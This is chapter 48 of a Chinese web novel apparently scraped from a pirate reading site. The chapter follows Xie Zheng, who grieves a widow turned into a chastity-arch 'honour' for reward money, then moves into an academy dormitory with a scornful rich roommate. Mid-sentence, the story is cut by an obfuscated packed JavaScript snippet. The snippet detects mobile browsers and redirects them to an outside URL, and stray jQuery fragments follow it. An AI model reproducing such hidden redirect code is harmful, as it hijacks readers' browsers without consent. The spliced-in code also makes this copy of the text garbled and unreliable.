默认冷灰
24号文字
方正启体

48. 048

作者:栗银本书字数:K更新时间:
    “旁人都在庆祝,为何独你一人躲在角落里,愁眉不展?”


    谢峥恍然回神,发现余成耀不知何时来到她面前,睿智且和善的眼凝视着她。


    “我没......”谢峥迎上余成耀洞悉一切的眼睛,抿了下唇,“我不明白。”


    余成耀问:“不明白什么?”


    “明明错在抢了三石叔钱财的歹人,为何大家都觉得是丁香婶子害死了他。”


    “丧事那几日,丁香婶子不吃不喝,不眠不休,瘦成一把骨头,分明是难过得哭不出来,他们却说她冷血,说她不值得三石叔付出。”


    “丁香婶子出生便没了阿娘,阿爹对她非打即骂,唯一待她如珠如宝的夫君也没了,她那般可怜,为何大家还要欺负她,令她自戕而亡,死后亦不得安息。”


    还有那贞节牌坊,他们怎能心安理得地趴在刘丁香的尸骨上,吃她的肉,喝她的血。


    余成耀轻叹:“你丁香婶子办丧事时,她爹便提出将此事上报官府,为她请旌烈妇,我和村长并未同意。”


    福乐村的荣誉可以是考出几位童生、几位秀才,也可以是出了一位义士,唯独不可以是一座贞节牌坊。


    所谓荣誉不该通过牺牲一个可怜的女子获得。


    “刘铁山嘴上应承,却在丁香下葬后瞒着我们去了县衙,之后的事情你都知道了。”


    张师爷带着人来到福乐村,他们想否认都没机会。


    虽有人认为黑岩村的二流子爬墙头是刘丁香有意勾引,但是利益当前,面对张师爷的盘问,所有人统一口径——


    刘丁香宁死也要为亡夫守贞,当为烈妇。


    谢峥不解:“他为何不顾您和村长的反对,执意如此?”


    余成耀语调温和,说出的话却残酷:“凡请旌节妇烈妇,官府都将予以百两赏银。”


    谢峥只觉荒谬:“他不配做丁香婶子的父亲。”


    余成耀看向被村民簇拥着的张师爷,以及笑得合不拢嘴、不见一丝丧女之痛的刘铁山,又叹一声:“世俗如此,非你我能左右。”


    所谓“刘丁香害死余三石”不过是人云亦云。


    那些人估计也没想到,他们的无心之言竟会成为压死刘丁香的最后一根稻草,将她逼上死路。


    他们固然有错,奈何法不责众,余成耀不好指摘什么。


    且放眼大周朝,贞节牌坊多如繁星。


    女子为夫殉节,或为夫守寡十五载,皆可获得朝廷旌表的贞节牌坊。


    世人视其为无上荣耀,不折手段也要得到。


    余成耀引以为耻,却无能为力,按捺心底怅然,轻拍谢峥左肩:“峥哥儿你还小,长大就明白了。”


    谢峥闷不吭声,推开余成耀的手,转身跑去坟地,立在小小的坟堆前。


    看着那木牌上余成耀所写的“刘丁香之墓”,半晌低声道:“或许这样也挺好。”


    至少她不必承受那些充满恶意的风言风语,亦不会知晓自己死后成为牺牲品,成为一件可悲的工具。


    谢峥摘来一朵油菜花,放在坟前。


    春风融融,花瓣迎风摇曳。


    她似乎见到了那个鬓边别着油菜花,笑靥如花的女子。


    -


    谢峥仅用半日便调整好状态,继续研读《论语》,读书之余不忘精进书法,短短两日便写了二十多张大字。


    刘家和余家平分了百两赏银,余家用这笔钱为余三石和刘丁香修葺坟墓,刘铁山则整日不着家,仿佛村里没他这个人。


    有人见过刘铁山一次,满身甜腻香气,衣服上还有胭脂,疑似去了青楼娼馆。


    村里渐渐无人再提及刘丁香,只在途径村口那座贞节牌坊时,才会短暂地想起她。


    “丁香是个可怜人,命不好。”


    “好在害死三石的歹人已被缉拿归案,三石和丁香也能瞑目了。”


    “林二狗长成那副挫样,丁香铁定看不上她,那些胡说八道的也不怕烂了舌头。”


    “贞节牌坊真不错,这几日许多人来我们村打听姑娘小子们的婚事哩!”


    ......


    三月初十,谢峥卯时便起身了。


    今日书院开课,需在辰时前登记报到。


    “满满,衣服鞋袜都带齐了吗?”


    “还有笔墨纸砚,书院奖励的和县丞大人送的都带上。”


    “虽是三月,夜间还是有些凉,不如再带一床被褥过去?”


    谢峥将温热的巾帕按在脸上,一阵猛力揉搓,直搓得脸颊泛红,鬓发洇湿才罢休:“衣服鞋袜和文房四宝都带上了,书院有现成的被褥,据说还挺厚实,不必再带了。”


    书院的学生可走读,亦可住宿。


    从福乐村到青阳书院,一来一回至少需要两个时辰。


    有这功夫,谢峥可以背完一篇《论语》,练成三张大字,刷完几十道题,便与爹娘商量,在书院住宿。


    谢义年不舍谢峥来回奔波,毫不犹豫便应下了。


    倒是沈仪有些迟疑,担心谢峥照顾不好自己。


    谢峥钻进沈仪怀里,抓过她一缕发,在指尖绕圈圈:“儿行千里母担忧,阿娘担心我是应该的,但我总是要长大的。”


    说着仰起脸,与沈仪贴贴,软声道:“阿娘放心吧,我一定会照顾好自己的。”


    谢义年觉得谢峥说得有道理,遂帮着劝道:“娘子在门口摆摊,若是担心满满吃不好,亦可从家里带些吃食过去。”


    沈仪面上闪过一丝松动。


    谢峥搂住她的胳膊,轻晃两下:“阿娘阿娘阿娘,您就答应我吧。”


    话已至此,沈仪只好同意,为谢峥收拾行李。


    “还有腌萝卜和笋酱,可以夹馍吃。”沈仪捧出两个小陶罐,“若是舍友喜欢,也能分他一些。”


    谢峥嗯嗯应着,飞快洗漱好,去灶房用饭。


    朝食是谢峥最爱的手擀面,沈仪还卧了两个鸡蛋,吃得满口油香,肚皮滚圆。


    吃饱喝足,谢峥背上包袱,迎着晨曦赶往小码头。


    途径隔壁砖瓦房,谢老太太痴笑着满地乱爬,谢二婶追在她身后喂饭。


    谢三婶倚在门框上,悠哉悠哉嗑着瓜子儿,看戏似的神情。


    因着谢老太太烧成个傻子,谢老三向私塾告假,在家中侍奉生母。


    此时他立在檐下,看谢峥的眼神充满嫉恨。


    想来是知晓谢峥考入书院,以及谢老太太受伤与她有关。


    谢峥目不斜视,大步向前。


    朝阳将三人的影子拉得很长,她晃晃脑袋,人影也跟着晃动。


    谢峥遥望那巍然屹立的牌坊,心底忽然生出一个念头——


    如果这世上没有贞节牌坊该多好。


    -


    半个多时辰后,牛车抵达青阳书院。


    书院外人山人海,车马如流,皆是前来报到的学生。


    报到处依旧在大门左侧,十六条长龙排开,缓慢向前挪动。


    半炷香后,谢峥来到长案前,呈上号牌。


    教谕核对号牌及报名册上的信息,又细看谢峥的外貌特征,确认无误后将号牌掷入木盒:“住宿还是走读?”


    谢峥答:“住宿。”


    教谕递给她一枚钥匙,并两身青色道袍:“木牌上是寝舍号,安顿好后便可上课了。”


    谢峥应是,指尖交叠作了个揖,去寻谢义年和沈仪:“阿爹阿娘,我好了,一起去寝舍吧。”


    谢义年肩上背着两个包袱,脖子也挂着两个:“满满带路,我跟你阿娘走在后


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16715655|186458||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    头。”


    谢峥低头看钥匙圈上的木牌,上边儿写着“二百一十六”,正是寝舍号。


    大门两侧依旧立着举人班的学生,不厌其烦地为新生指路:“从此处右拐,行至尽头,诸位可瞧见写有‘春晖’二字的石碑,前方便是书院的寝舍——春晖院。”


    谢峥拎着包袱,抬手示意,谢义年和沈仪连忙跟上。


    青石路上行人交错,喧哗热闹。


    夫妇二人有些局促,不敢左顾右盼,唯恐被人看轻了去。


    反倒是谢峥,全程落落大方,举止间尽显从容。


    临近春晖院时,一旁的羊肠小径走出两人。


    身披青色道袍,腰佩美玉,手里握着折扇,边走边交谈。


    个头略高的青年轻摇折扇,眉宇间蕴藏几许倨傲:“若不是为了逃避家中管束,我才不会住在书院,希望这次没人住进我那寝舍。”


    另一人笑道:“寝舍乃随机安排,还真不是你我能左右的。”


    青年脸色不太好看:“那也不能什么脏的臭的都来......”


    两人走远,沈仪眉头微蹙:“希望满满的舍友是个好相处的。”


    谢峥眨眨眼,语气轻快:“阿娘放心吧,我这般人见人爱,定能和新舍友相处得很好。”


    沈仪揉揉谢峥的后脑勺,面色松快许多。


    一家三口循着指引,很快找到二百一十六号寝舍。


    用钥匙开了锁,谢峥推门而入。


    寝舍的陈设十分简单,两张床东西摆放,床之间是两张书桌,门旁是两只约与谢义年等高的衣柜。


    东侧的床上被褥随意铺开,显然是有主的,谢峥将包袱、书袋放在西侧书桌上:“阿爹阿娘,来这里。”


    谢义年去水房打来清水,将床铺书桌衣柜挨个儿擦拭一遍,谢峥则帮着沈仪铺床。


    一家三口忙得热火朝天,门口传来脚步声。


    谢峥循声望去,竟是途中遇见的那个青年。


    四目相对,青年摇着折扇的手僵在半空。


    他的视线从谢义年和沈仪的衣着掠过,定格在谢峥手中的草鞋上,眼底嫌恶转瞬即逝。


    谢峥短促眯了下眼,笑意漫上唇角:“我叫谢峥,是启蒙班的新生,还请多多指教。”


    青年神色变幻几瞬,轻咳一声:“宋信。”


    说罢,取下挂在衣柜上的书袋,大步走出寝舍。


    谢义年和沈仪面面相觑,不太确定地问:“他看起来......可以换寝舍吗?”


    那宋信一看就是富贵人家出生,他担心满满被欺负。


    “无缘无故换什么寝舍?”谢峥若无其事放下草鞋,“他只是一时难以接受,过两日就好了。”


    沈仪轻叹:“先收拾,待会儿满满还要去上课。”


    谢义年欸一声,继续擦衣柜。


    ......


    宋信怒气冲冲走进课室,“砰”地将书袋扔到桌上。


    同桌奇道:“宋兄这是怎么了?”


    宋信胸口剧烈起伏,眼里的嫌恶几乎凝为实质,满溢出来:“我的寝舍住进来一个人。”


    同桌挑眉:“看来宋兄对新舍友不太满意?”


    宋信冷声道:“那个叫谢峥的竟然穿着草鞋,衣服也破破烂烂,打满补丁,书袋更是用碎布拼接缝制而成,看起来邋里邋遢,不知身上有多少虫子,说不定连跳蚤都有。”


    这时,前桌回过头,不疾不徐道:“既不满这个舍友,设法让她离开便是。”


    宋信眼睛一亮,抚掌而笑:“多谢卢兄提醒,我晓得该怎么做了。”


    像谢峥这样又穷又脏的,就该滚回乡下种地,而不是来书院碍他的眼,平白恶心人。


    卢迁颔首示意,缓缓露出个笑来。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)